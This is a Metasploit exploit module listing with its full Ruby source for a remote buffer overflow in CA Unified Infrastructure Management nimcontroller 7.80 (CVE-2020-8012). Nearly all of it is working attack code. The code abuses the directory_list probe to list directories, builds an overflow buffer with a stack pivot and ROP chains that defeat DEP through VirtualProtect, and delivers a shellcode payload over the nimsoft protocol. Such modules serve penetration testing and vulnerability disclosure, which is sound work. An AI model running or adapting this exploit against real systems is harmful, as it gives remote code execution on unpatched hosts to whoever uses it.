CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow

2020-07-19T22:57:55
ID MSF:EXPLOIT/WINDOWS/NIMSOFT/NIMCONTROLLER_BOF
Type metasploit
Reporter Rapid7
Modified 2020-07-24T20:50:00

Description

This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller. The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list probe. Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the directory_list probe.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
          The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
          probe.

          Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
          directory_list probe.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'wetw0rk' # Vulnerability Discovery and Metasploit module
          ],
        'References' =>
          [
            [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)
            [ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
            [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],
            [ 'PACKETSTORM', '156577' ]
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process',
            'AUTORUNSCRIPT' => 'post/windows/manage/migrate'
          },
        'Payload' =>
          {
            'Space' => 2000,
            'DisableNops' => true
          },
        'Platform' => 'win',
        'Arch' => ARCH_X64,
        'Targets' =>
          [
            [
              'Windows Universal (x64) - v7.80.3132',
              {
                'Platform' => 'win',
                'Arch' => [ARCH_X64],
                'Version' => '7.80 [Build 7.80.3132, Jun  1 2015]',
                'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]
              }
            ],
          ],
        'Privileged' => true,
        'Notes' => { 'Stability' => [ CRASH_SAFE ] },
        'DisclosureDate' => 'Feb 05 2020',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
        Opt::RPORT(48000),
      ]
    )

  end

  # check: there are only two prerequisites to getting code execution. The version number
  # and access to the directory_list probe. The easiest way to get this information is to
  # ask nicely ;)
  def check

    connect

    sock.put(generate_probe('get_info', ['interfaces=0']))
    response = sock.get_once(4096)

    list_check = -1

    begin
      if target['Version'].in? response
        print_status("Version #{target['Version']} detected, sending directory_list probe")
        sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
        list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])
      end
    ensure
      disconnect
    end

    if list_check == 0
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end

  end

  def exploit

    super
    connect

    shellcode = make_nops(500)
    shellcode << payload.encoded

    offset = rand_text_alphanumeric(1000)
    offset += "\x0f" * 33

    heap_flip = [target.ret].pack('<Q*')

    alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain
    rop_chain = generate_rsp_chain # Stage1: Stack alignment
    rop_chain += rand_text_alphanumeric(631) # Adjust for second stage
    rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub
    rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail
      rop_chain.length

                                        ))
    rop_chain += "kernel32.dll\x00"
    rop_chain += "VirtualProtect\x00"

    trigger = "\x10" * (8000 - (
      offset.length +
      heap_flip.length +
      alignment.length +
      rop_chain.length +
      shellcode.length
    )
                       )

    buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger
    exploit_packet = generate_probe(
      'directory_list',
      ["directory=#{buffer}"]
    )

    sock.put(exploit_packet)

    disconnect

  end

  # generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
  # otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
  def generate_rsp_chain

    rop_gadgets = [0x0000000140018c42] * 20 # ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
      0x00000001400af237, # pop rdi ; ret
      0x0000000000000007, # alignment for rsp
      0x0000000140025dab
    ] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret

    return rop_gadgets.pack('<Q*')

  end

  # generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
  # and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
  # Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
  def generate_rop_chain

    # RAX -> HMODULE GetModuleHandleA(
    #   ( RCX == *module ) LPCSTR lpModuleName,
    # );
    rop_gadgets = [0x0000000140018c42] * 15 # ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x0000000000000000, # (zero out rax)
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x00000000000009dd, # offset to "kernel32.dll"
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret

    rop_gadgets += [0x0000000140018c42] * 15 # ret

    rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)
      0x00000001400d1161
    ] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
    rop_gadgets += [0x0000000140018c42] * 17 # ret

    # RAX -> FARPROC GetProcAddressStub(
    #   ( RCX == &addr    ) HMODULE hModule,
    #   ( RDX == *module  ) lpProcName
    # );
    rop_gadgets += [
      0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
      0x0000000140002ef6, # pop rax ; ret
      0x0000000000000000, # (zero out rax)
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x0000000000000812, # offset to "virtualprotectstub"
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]
    # mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret

    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret
    rop_gadgets += [
      0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 6 # ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x000000014015e318
    ] # GetProcAddressStub (0x00000000014015e338-20)
    rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
    rop_gadgets += [0x0000000140018c42] * 17 # ret

    # RAX -> BOOL VirtualProtectStub(
    #   ( RCX == *shellcode          ) LPVOID  lpAddress,
    #   ( RDX == len(shellcode)      ) SIZE_T  dwSize,
    #   ( R8  == 0x0000000000000040  ) DWORD   flNewProtect,
    #   ( R9  == *writeable location ) PDWORD  lpflOldProtect,
    # );
    rop_gadgets += [
      0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
      0x000000014013d651, # pop r12 ; ret
      0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
      0x00000001400eba74
    ] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x0000000000000000
    ]
    rop_gadgets += [
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x000000000000059f, # (offset to *shellcode)
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
    rop_gadgets += [
      0x00000001400496a2, # pop rdx ; ret
      0x00000000000005dc
    ] # dwSize
    rop_gadgets += [
      0x00000001400bc39c, # pop r8 ; ret
      0x0000000000000040
    ] # flNewProtect
    rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
    rop_gadgets += [0x0000000140018c42] * 17 # ret
    rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]
    # mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret

    rop_gadgets += [0x0000000140018c42] * 20 # ret

    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
      0x0000000000000000, # (zero out rax)
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x0000000000000317, # (offset to our shellcode)
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x00000001400a9747] # jmp rax
    rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)

    return rop_gadgets.pack('<Q*')

  end

  # parse_listing: once the directory_list probe is sent we're returned a directory listing
  # unfortunately it's hard to read this simply "decodes" it
  def parse_listing(response, directory)

    result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
    i = 0

    begin
      dirlist = response.split('\x00')[0].split("\x00")
      index = dirlist.index('entry') + 3
      final = dirlist[index..-1]
    rescue StandardError
      print_error('Failed to gather directory listing')
      return -1
    end

    print_line("\n Directory of #{directory}\n")

    check = 0
    name = 0
    ftime = 0
    size = 0
    ftype = 0

    while i < final.length

      if name == 1
        unless final[i].to_i > 0
          result['name'] = final[i]
          name = 0
          check += 1
        end
      end
      if size >= 1
        if size == 3
          result['size'] = final[i]
          size = 0
          check += 1
        else
          size += 1
        end
      end
      if ftype >= 1
        if ftype == 3
          result['type'] = final[i]
          ftype = 0
          check += 1
        else
          ftype += 1
        end
      end
      if ftime >= 1
        if ftime == 3
          result['date'] = final[i]
          ftime = 0
          check += 1
        else
          ftime += 1
        end
      end

      if final[i].include? 'name'
        name = 1
      end
      if final[i].include? 'size'
        size = 1
      end
      if final[i].include? 'size'
        ftype = 1
      end
      if final[i].include? 'last_modified'
        ftime = 1
      end

      i += 1

      next unless check == 4

      if result['type'] == '2'
        result['type'] = ''
      else
        result['type'] = '<DIR>'
        result['size'] = ''
      end

      begin
        time = Time.at(result['date'].to_i)
        timestamp = time.strftime('%m/%d/%Y %I:%M %p')
      rescue StandardError
        timestamp = '??/??/???? ??:?? ??'
      end

      print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))

      check = 0
    end
    print_line('')
    return 0
  end

  # generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
  # craft probes in order for the controller to accept any input.
  def generate_probe(probe, args)

    client = "#{rand_text_alphanumeric(14)}\x00"
    packet_args = ''
    probe += "\x00"

    for arg in args

      c = ''
      i = 0

      while c != '='

        c = arg[i]
        i += 1

      end

      packet_args << "#{arg[0, (i - 1)]}\x00"
      packet_args << "1\x00#{arg[i..-1].length + 1}\x00"
      packet_args << "#{arg[i..-1]}\x00"

    end

    packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
    packet_body = "mtype\x00" # mtype
    packet_body << "7\x004\x00100\x00" # 7.4.100
    packet_body << "cmd\x00" # cmd
    packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)
    packet_body << probe # probe
    packet_body << "seq\x00" # seq
    packet_body << "1\x002\x000\x00" # 1.2.0
    packet_body << "ts\x00" # ts
    packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)
    packet_body << "frm\x00" # frm
    packet_body << "7\x00#{client.length}\x00" # 7.(length of client)
    packet_body << client # client address
    packet_body << "tout\x00" # tout
    packet_body << "1\x004\x00180\x00" # 1.4.180
    packet_body << "addr\x00" # addr
    packet_body << "7\x000\x00" # 7.0
    #
    # probe packet arguments (dynamic)
    # argument
    # length of arg value
    # argument value

    packet_header << "#{packet_body.length} #{packet_args.length}\r\n"
    probe = packet_header + packet_body + packet_args

    return probe

  end

end